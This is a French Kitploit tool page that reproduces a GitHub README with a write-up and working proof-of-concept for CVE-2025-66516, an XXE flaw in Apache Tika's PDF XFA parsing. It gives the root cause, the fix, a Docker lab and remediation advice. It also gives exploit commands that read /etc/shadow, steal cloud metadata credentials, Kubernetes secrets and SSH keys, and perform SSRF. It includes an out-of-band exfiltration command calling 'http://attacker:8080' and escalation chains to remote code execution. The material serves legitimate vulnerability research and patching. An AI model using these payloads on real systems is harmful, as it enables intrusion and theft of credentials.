Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-66516-Writeup-POC — CVE-2025-66516 exploit fonctionnel, scanner, explication. | Kitploit
Outils/GitHubGitHub/chasingimpact/cve-2025-66516-writeup-poc
ReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesTests d'IntrusionApprentissage et ÉducationLabs et Pratique

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
chasingimpact/cve-2025-66516-writeup-poc

CVE-2025-66516-Writeup-POC

CVE-2025-66516 exploit fonctionnel, scanner, explication.

Voir le dépôt
1021il y a 8 moisPas encore vérifié
Partager

CVE-2025-66516 : Vulnérabilité XXE Critique dans Apache Tika

image

Résumé Exécutif

CVE-2025-66516 est une vulnérabilité critique d'injection d'entités externes XML (XXE) dans Apache Tika avec un score CVSS de 10.0 (sévérité maximale). La vulnérabilité permet à un attaquant distant de lire des fichiers arbitraires, d'effectuer une falsification de requête côté serveur (SSRF) et d'exfiltrer des données sensibles en téléchargeant un document PDF spécialement conçu contenant du contenu XFA (XML Forms Architecture) malveillant.

AttributValeur
ID CVECVE-2025-66516
Score CVSS10.0 (Critique)
Divulgué4 décembre 2025
FournisseurApache Software Foundation
Produit affectéApache Tika
Vecteur d'attaqueRéseau (à distance)
AuthentificationAucune requise

Versions Affectées

ComposantVersions vulnérablesVersion corrigée
tika-core1.13 - 3.2.13.2.2+
tika-parser-pdf-module2.0.0 - 3.2.13.2.2+
tika-parsers1.13 - 1.28.52.0.0+

Important : Ce CVE remplace CVE-2025-54988, qui identifiait incorrectement uniquement le module PDF comme vulnérable. La vulnérabilité réelle réside dans tika-core.


Analyse Technique

La Vulnérabilité

La vulnérabilité est un défaut d'injection d'entités externes XML (XXE) dans la façon dont Apache Tika traite les données XFA (XML Forms Architecture) dans les documents PDF.

Le problème : Tika s'appuie sur les analyseurs XML Java sous-jacents (notamment un analyseur StAX) pour lire le contenu XFA XML. Les versions vulnérables n'ont pas correctement configuré l'analyseur pour désactiver la résolution d'entités externes. Lorsque l'analyseur rencontre une demande d'entité externe (comme SYSTEM "file:///etc/passwd"), il résout et renvoie le contenu du fichier.

Emplacement : Le bug existe dans XMLReaderUtils.getXMLInputFactory() dans tika-core :

root@kitploit:~
public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);  // <-- Inefficace
    return factory;
}

Le IGNORING_STAX_ENTITY_RESOLVER était destiné à bloquer les XXE en renvoyant un résultat vide, mais il renvoyait un String au lieu du InputStream attendu. L'analyseur StAX par défaut du JDK a silencieusement ignoré ce type de retour incorrect et est revenu au comportement par défaut, qui résout les entités externes.

Le Correctif (Tika 3.2.2)

Le correctif désactive explicitement le support DTD et des entités externes au niveau de la fabrique :

root@kitploit:~
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

De plus, le résolveur a été modifié pour renvoyer un type InputStream approprié.

La Protection Fortuite de Woodstox

Dans l'écosystème Java, plusieurs bibliothèques d'analyseurs XML existent. Les applications utilisent l'analyseur configuré ou trouvé en premier sur le classpath.

Qu'est-ce que Woodstox ? Woodstox est un analyseur XML Stax haute performance et open source, couramment inclus dans les applications Java.

Comment il fournit la protection : Par conception (pas par accident), l'implémentation de Woodstox gère correctement le type de retour du XMLResolver. Lorsque Woodstox reçoit la valeur de chaîne de IGNORING_STAX_ENTITY_RESOLVER, il la traite comme un contenu vide valide, bloquant ainsi l'XXE.

Distinction critique :

  • tika-server-standard.jar inclut Woodstox - NON VULNÉRABLE
  • tika-core + modules d'analyseur (utilisation intégrée) N'inclut PAS Woodstox - VULNÉRABLE
  • Applications utilisant l'analyseur StAX par défaut du JDK - VULNÉRABLE

Démarrage Rapide

Tester la Vulnérabilité

root@kitploit:~
# 1. Démarrer l'environnement de laboratoire
docker-compose up -d --build

# 2. Tester contre Tika vulnérable (JDK StAX, port 9997)
python poc/exploit.py --url http://localhost:9997 --check

# 3. Extraire /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd

# 4. Comparer avec Tika protégé (Woodstox, port 9998)
python poc/exploit.py --url http://localhost:9998 --check

Environnement de Laboratoire

Structure du Répertoire

root@kitploit:~
CVE-2025-66516/
|-- docker-compose.yml              # Orchestration du laboratoire
|-- vulnerable-tika/
|   |-- Dockerfile                  # Tika avec Woodstox (protégé)
|   +-- Dockerfile.jdk-stax         # Tika sans Woodstox (VULNÉRABLE)
|-- webapp/
|   |-- Dockerfile
|   |-- app.py                      # Application de téléversement Flask
|   +-- templates/
|-- poc/
|   |-- exploit.py                  # Outil d'exploitation automatisé
|   +-- generate_payload.py         # Générateur de PDF malveillants
+-- README.md

Services

Démarrer le Laboratoire

root@kitploit:~
docker-compose up -d --build

Outils de Preuve de Concept

1. Outil d'Exploitation Automatisé (exploit.py)

Exploitation complète avec génération automatique de charge utile et extraction de données.

root@kitploit:~
# Vérifier si la cible est vulnérable
python poc/exploit.py --url http://target:9998 --check

# Lire des fichiers locaux
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow

# Vol de métadonnées AWS (instances EC2)
python poc/exploit.py --url http://target:9998 --aws-metadata

# Secrets Kubernetes
python poc/exploit.py --url http://target:9998 --k8s-secrets

# SSRF vers services internes
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin

# Sauvegarder les données extraites
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt

2. Générateur de Charge Utile (generate_payload.py)

Génère des fichiers PDF malveillants pour des tests manuels ou l'intégration avec d'autres outils.

root@kitploit:~
# Générer une charge utile pour un fichier spécifique
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf

# Générer une charge utile SSRF
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

# Générer une charge utile d'exfiltration OOB
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf

# Utiliser des préréglages de mode d'attaque
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/

# Lister les modes d'attaque disponibles
python poc/generate_payload.py --list-modes

Modes d'Attaque Disponibles :

  • file_read - Lire les fichiers locaux (/etc/passwd, /etc/shadow, etc.)
  • ssh_keys - Voler les clés privées SSH
  • aws_metadata - Métadonnées AWS EC2 et identifiants IAM
  • gcp_metadata - Jetons de compte de service GCP
  • azure_metadata - Jetons d'identité managée Azure
  • k8s_secrets - Identifiants de compte de service Kubernetes
  • webapp_configs - Configurations d'application web courantes
  • ssrf_internal - Sonder les services internes

Résultats des Tests

Configuration Vulnérable (JDK StAX - Pas de Woodstox)

Test contre Tika 2.9.2 sans Woodstox (simulation de déploiements intégrés) :

TestRésultat
Détection XFA[RÉUSSI] PDF reconnu comme ayant XFA
Analyse XFA[RÉUSSI] Contenu XFA extrait
Lecture de fichier XXE[VULNÉRABLE] Contenu de /etc/passwd exfiltré
SSRF XXE[VULNÉRABLE] Requêtes externes envoyées

Preuve d'Exploitation :

root@kitploit:~
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Configuration Protégée (Woodstox StAX)

Test contre Tika 2.9.2 avec Woodstox (tika-server-standard.jar standard) :

TestRésultat
Détection XFA[RÉUSSI] PDF reconnu comme ayant XFA
Analyse XFA[RÉUSSI] Contenu XFA extrait
Lecture de fichier XXE[BLOQUÉ] Entités externes non résolues
SSRF XXE[BLOQUÉ] Aucune connexion sortante

La sortie montre une entité vide :

root@kitploit:~
<li fieldName="data">data: </li>

Conclusion

La vulnérabilité est réelle et critique. L'exploitation dépend de l'implémentation StAX :

  • [PROTÉGÉ] tika-server-standard.jar - Woodstox inclus bloque l'XXE
  • [VULNÉRABLE] Tika intégré (tika-core + analyseurs) - Utilise JDK StAX par défaut
  • [VULNÉRABLE] Déploiements personnalisés sans Woodstox
  • [VULNÉRABLE] Intégrations d'entreprise (Elasticsearch, Solr, Alfresco) - Utilisent souvent Tika intégré

Capacités d'Attaque XXE

L'XXE est fondamentalement une vulnérabilité de lecture de fichier/SSRF, pas de RCE directe. Cependant, elle permet plusieurs chemins d'attaque :

Attaques Directes

AttaqueExemple de Charge Utile
Lecture de fichierSYSTEM "file:///etc/passwd"
SSRFSYSTEM "http://internal:8080/admin"
Métadonnées AWSSYSTEM "http://169.254.169.254/latest/meta-data/"

Escalade vers RCE

ScénarioChemin d'Attaque
AWS EC2

Remédiation

Actions Immédiates

  1. Mettre à niveau Apache Tika vers la version 3.2.2 ou ultérieure

    root@kitploit:~
    <dependency>
        <groupId>org.apache.tika</groupId>
        <artifactId>tika-core</artifactId>
        <version>3.2.2</version>
    </dependency>
    
  2. Vérifier que tous les composants Tika sont mis à jour (tika-core ET modules d'analyseur)

Évaluation des Risques

Type de DéploiementNiveau de Risque
tika-server-standard.jarFAIBLE - Woodstox atténue
Tika intégré (utilisation en bibliothèque)ÉLEVÉ - Probablement vulnérable
Personnalisé sans WoodstoxÉLEVÉ - Vulnérable

Défense en Profondeur

  1. Validation des entrées - Valider les types de fichiers téléversés
  2. Segmentation réseau - Isoler le traitement Tika
  3. Moindre privilège - Permissions minimales du système de fichiers
  4. Surveillance - Alerter sur les accès fichiers inhabituels

Parcours de Recherche

Problèmes Rencontrés

Problème 1 : L'exploit initial ne fonctionnait pas

  • XFA était détecté mais l'XXE ne se déclenchait jamais
  • Temps passé à déboguer la structure de la charge utile

Problème 2 : Erreur de déclarations XML multiples

  • Erreur : WstxParsingException: Illegal processing instruction target ("xml")
  • Cause : Les flux XFA incluaient chacun des déclarations XML
  • Correctif : Inclure la déclaration uniquement dans le préambule, pas dans les sous-flux

Problème 3 : Le mystère Woodstox

  • Toutes les charges utiles échouaient contre tika-server-standard.jar
  • Découvert que Woodstox était inclus et bloquait l'XXE
  • Créé Dockerfile.jdk-stax pour tester sans Woodstox

Problème 4 : Test de la mauvaise configuration

  • Temps perdu sur une configuration protégée
  • Leçon : Comprendre l'arbre complet des dépendances avant de tester

Leçons Apprises

  1. Les scores CVSS ont besoin de contexte - Les facteurs environnementaux affectent l'exploitabilité
  2. Tester les configurations minimales - Ne pas supposer les dépendances incluses
  3. Les analyseurs XML varient énormément - Un même code se comporte différemment selon l'analyseur
  4. Intégré != Serveur - L'utilisation en bibliothèque a souvent des dépendances différentes
  5. Les messages d'erreur sont des indices - Les exceptions de l'analyseur révèlent les détails d'implémentation

Références

  • Apache Tika Security Advisory
  • Fix Commit
  • NVD Entry
  • Apache Tika Mailing List Discussion

Chronologie

DateÉvénement
Août 2025CVE-2025-54988 divulgué (périmètre incomplet)
4 décembre 2025CVE-2025-66516 publié (périmètre complet identifié)
4 décembre 2025Apache Tika 3.2.2 publié avec correctif

Avertissement

Cet environnement de laboratoire et le code de preuve de concept sont fournis uniquement pour les tests de sécurité autorisés, les fins éducatives et la recherche défensive.

N'utilisez pas ces outils contre des systèmes sans autorisation écrite explicite.

Licence

Ce matériel de recherche est fourni à des fins éducatives. Utilisez-le de manière responsable.

Télécharger l’outil
ServicePortDescription
Application Web8080Interface de téléversement de documents
Tika (Woodstox)9998Protégé - PAS vulnérable
Tika (JDK StAX)9997VULNÉRABLE - Pas de Woodstox
Écouteur Attaquant9999Serveur HTTP pour test OOB
XXE -> SSRF vers métadonnées -> Identifiants IAM -> RCE AWS CLI
KubernetesXXE -> Lire le jeton de compte de service -> kubectl exec
Jenkins interneXXE -> SSRF vers console de scripts -> RCE Groovy
Base de donnéesXXE -> Lire les fichiers de configuration -> Accès base de données
SSHXXE -> Lire les clés SSH -> Accès shell distant